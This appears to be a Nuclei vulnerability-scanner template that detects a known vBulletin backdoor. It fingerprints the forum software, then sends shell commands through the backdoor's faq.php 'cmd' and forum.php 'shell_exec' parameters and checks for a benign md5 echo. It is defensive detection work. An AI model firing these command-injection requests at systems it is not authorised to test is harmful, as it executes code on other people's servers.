61 lines
1.6 KiB
YAML
61 lines
1.6 KiB
YAML
id: vbulletin-backdoor
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info:
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name: vBulletin Backdoor - Detect
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author: MaStErCho
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severity: high
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reference:
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- https://github.com/OWASP/vbscan
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- https://blog.sucuri.net/2017/01/vbulletin-malware-hackers-compete-backdoor-control.html
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metadata:
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max-request: 31
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tags: backdoor,php,vbulletin,rce
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flow: http(1) && http(2)
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variables:
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num: "999999999"
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http:
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- method: GET
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path:
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- '{{BaseURL}}'
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matchers:
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- type: word
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part: body
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words:
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- "content=\"vBulletin"
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- "id=\"vbulletin_css"
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- "clientscript/vbulletin"
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- "vBulletin_init"
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condition: or
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internal: true
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- method: GET
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path:
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- '{{BaseURL}}/faq.php?cmd=echo%20-n%20{{num}}|md5sum'
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- '{{BaseURL}}/forum.php?x=shell_exec&y=echo%20-n%20{{num}}|md5sum'
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- '{{BaseURL}}/{{paths}}/faq.php?cmd=echo%20-n%20{{num}}|md5sum'
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- '{{BaseURL}}/{{paths}}/forum.php?x=shell_exec&y=echo%20-n%20{{num}}|md5sum'
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- '{{paths}}.{{BaseURL}}/faq.php?cmd=echo%20-n%20{{num}}|md5sum'
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- '{{paths}}.{{BaseURL}}/forum.php?x=shell_exec&y=echo%20-n%20{{num}}|md5sum'
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payloads:
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paths:
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- 'boards'
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- 'board'
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- 'forum'
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- 'forums'
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- 'vb'
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stop-at-first-match: true
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host-redirects: true
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max-redirects: 3
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matchers:
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- type: dsl
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dsl:
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- "contains(body, '{{md5(num)}}')"
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- "status_code == 200"
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condition: and
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# digest: 4a0a0047304502202f51dd5452e824aea32734725965c5b642c1382806195330eac2569bfe9f475e022100e5481f5232701725187670a37e6ca4388471dfe2f91870db08614c3319e0938e:922c64590222798bb761d5b6d8e72950 |